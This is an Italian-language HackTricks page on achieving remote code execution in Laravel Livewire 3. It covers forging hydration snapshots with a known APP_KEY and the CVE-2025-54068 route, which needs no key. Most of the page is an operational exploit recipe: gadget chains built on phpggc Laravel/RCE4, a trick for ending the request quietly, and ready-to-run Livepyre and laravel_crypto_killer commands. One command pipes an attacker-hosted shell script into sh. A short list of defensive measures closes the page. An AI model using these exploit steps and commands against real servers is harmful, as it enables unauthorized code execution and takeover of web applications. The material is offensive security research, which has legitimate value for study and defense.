Laravel Livewire Hydration & Synthesizer Abuse

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Riepilogo della state machine di Livewire

I componenti Livewire 3 scambiano il loro stato tramite snapshots che contengono data, memo e un checksum. Ogni POST a /livewire/update reidrata lo snapshot JSON lato server ed esegue le calls/updates in coda.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Chiunque in possesso di APP_KEY (usata per derivare $hashKey) può quindi falsificare snapshot arbitrari ricomputando l’HMAC.

Le proprietà complesse sono codificate come synthetic tuples rilevate da Livewire\Drawer\BaseUtils::isSyntheticTuple(); ogni tupla è [value, {"s":"<key>", ...meta}]. Il hydration core delega semplicemente ogni tupla al synth selezionato in HandleComponents::$propertySynthesizers e procede ricorsivamente sui figli:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Questo design ricorsivo rende Livewire un motore generico di istanziazione di oggetti una volta che un attaccante controlla sia i metadata della tupla sia qualsiasi tupla annidata elaborata durante la ricorsione.

Synthesizers che forniscono primitive per gadget

SynthesizerComportamento controllato dall’attaccante
CollectionSynth (clctn)Istanzia new $meta['class']($value) dopo aver reidratato ogni elemento figlio. Qualsiasi classe con un costruttore che accetta un array può essere creata, e ogni elemento può essere esso stesso una tupla sintetica.
FormObjectSynth (form)Invoca new $meta['class']($component, $path), poi assegna ogni proprietà pubblica dai figli controllati dall’attaccante tramite $hydrateChild. Costruttori che accettano due parametri poco tipizzati (o argomenti di default) sono sufficienti per raggiungere proprietà pubbliche arbitrarie.
ModelSynth (mdl)Quando key è assente dai meta esegue return new $class;, permettendo l’instanziazione senza argomenti di qualsiasi classe sotto il controllo dell’attaccante.

Poiché i synths invocano $hydrateChild su ogni elemento annidato, è possibile costruire grafi di gadget arbitrari impilando tuple ricorsivamente.

Falsificare snapshot quando APP_KEY è noto

  1. Cattura una richiesta legittima a /livewire/update e decodifica components[0].snapshot.
  2. Inietta tuple annidate che puntano a classi gadget e ricalcola checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Ricodifica lo snapshot, lascia _token/memo intatti e riproduci la richiesta.

Una prova minima di esecuzione utilizza Guzzle’s FnStream e Flysystem’s ShardedPrefixPublicUrlGenerator. Una tupla istanzia FnStream con dati del costruttore { "__toString": "phpinfo" }, la successiva istanzia ShardedPrefixPublicUrlGenerator con [FnStreamInstance] come $prefixes. Quando Flysystem converte ogni prefix in string, PHP invoca la callable __toString fornita dall’attaccante, eseguendo qualsiasi funzione senza argomenti.

Da chiamate di funzione a RCE completo

Sfruttando le primitive di istanziazione di Livewire, Synacktiv ha adattato la catena Laravel/RCE4 di phpggc in modo che l’hydration avvii un oggetto il cui stato pubblico Queueable attivi la deserializzazione:

  1. Queueable trait – qualsiasi oggetto che usa Illuminate\Bus\Queueable espone $chained pubblico ed esegue unserialize(array_shift($this->chained)) in dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) viene istanziato tramite CollectionSynth / FormObjectSynth con $chained pubblico popolato.
  3. phpggc Laravel/RCE4Adapted – il blob serializzato memorizzato in $chained[0] costruisce PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() alla fine chiama call_user_func_array($closure, $args), permettendo system($cmd).
  4. Stealth termination – passando una seconda callable FnStream come [new Laravel\Prompts\Terminal(), 'exit'], la richiesta termina con exit() invece che con un’eccezione rumorosa, mantenendo la risposta HTTP pulita.

Automatizzare la falsificazione degli snapshot

synacktiv/laravel-crypto-killer ora include una modalità livewire che assembla tutto:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Lo strumento analizza lo snapshot catturato, inietta le tuple gadget, ricalcola la checksum e stampa un payload /livewire/update pronto da inviare.

CVE-2025-54068 – RCE senza APP_KEY

updates vengono uniti nello stato del componente dopo che la checksum dello snapshot è stata convalidata. Se una proprietà all’interno dello snapshot è (o diventa) una tupla sintetica, Livewire riutilizza i suoi meta mentre idrata il valore di update controllato dall’attaccante:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Ricetta dell’exploit:

  1. Trova un componente Livewire con una proprietà pubblica non tipizzata (es., public $count;).
  2. Invia un update che imposta quella proprietà a []. Lo snapshot successivo la memorizza ora come [[], {"s": "arr"}].
  3. Crea un altro payload updates dove quella proprietà contiene un array profondamente annidato che incorpora tuple come [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  4. Durante la ricorsione, hydrate() valuta ogni figlio annidato indipendentemente, quindi i synth keys/classes scelti dall’attaccante vengono rispettati anche se la tupla esterna e il checksum non sono mai cambiati.
  5. Riutilizza le stesse primitive CollectionSynth/FormObjectSynth per istanziare un gadget Queueable il cui $chained[0] contiene il payload phpggc. Livewire elabora gli updates falsificati, invoca dispatchNextJobInChain() e raggiunge system(<cmd>) senza conoscere APP_KEY.

Motivi principali per cui questo funziona:

  • Gli updates non sono coperti dal checksum dello snapshot.
  • getMetaForPath() si fida di qualunque synth metadata fosse già presente per quella proprietà anche se l’attaccante l’ha precedentemente forzata a diventare una tupla tramite weak typing.
  • La ricorsione combinata con il weak typing permette a ogni array annidato di essere interpretato come una nuova tupla, così che synth keys arbitrari e classi arbitrarie arrivano infine alla hydration.

Livepyre – end-to-end exploitation

Livepyre automatizza sia la CVE senza APP_KEY che il percorso signed-snapshot:

  • Esegue il fingerprint della versione Livewire distribuita analizzando <script src="/livewire/livewire.js?id=HASH"> e mappando l’hash alle release vulnerabili.
  • Raccoglie snapshot di base riproducendo azioni benigne ed estraendo components[].snapshot.
  • Genera o un payload solo updates (CVE-2025-54068) o uno snapshot falsificato (APP_KEY noto) che incorpora la catena phpggc.

Uso tipico:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check esegue una sonda non distruttiva, -F salta il version gating, -H e -P aggiungono header o proxy personalizzati, e --function/--param personalizzano la funzione php invocata dalla catena di gadget.

Considerazioni difensive

  • Aggiornare a build Livewire corrette (>= 3.6.4 secondo il bollettino del vendor) e applicare la patch del vendor per CVE-2025-54068.
  • Evitare proprietà pubbliche a debole tipizzazione nei componenti Livewire; tipi scalari espliciti impediscono che i valori delle proprietà vengano coerced in array/tuple.
  • Register only the synthesizers you truly need and treat user-controlled metadata ($meta['class']) as untrusted.
  • Rifiutare aggiornamenti che cambiano il tipo JSON di una proprietà (es., scalar -> array) a meno che non sia esplicitamente permesso, e ri-derivare il synth metadata invece di riutilizzare tuple obsolete.
  • Ruotare APP_KEY prontamente dopo qualsiasi disclosure perché consente il forging di snapshot offline a prescindere da quanto il code-base sia patchato.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks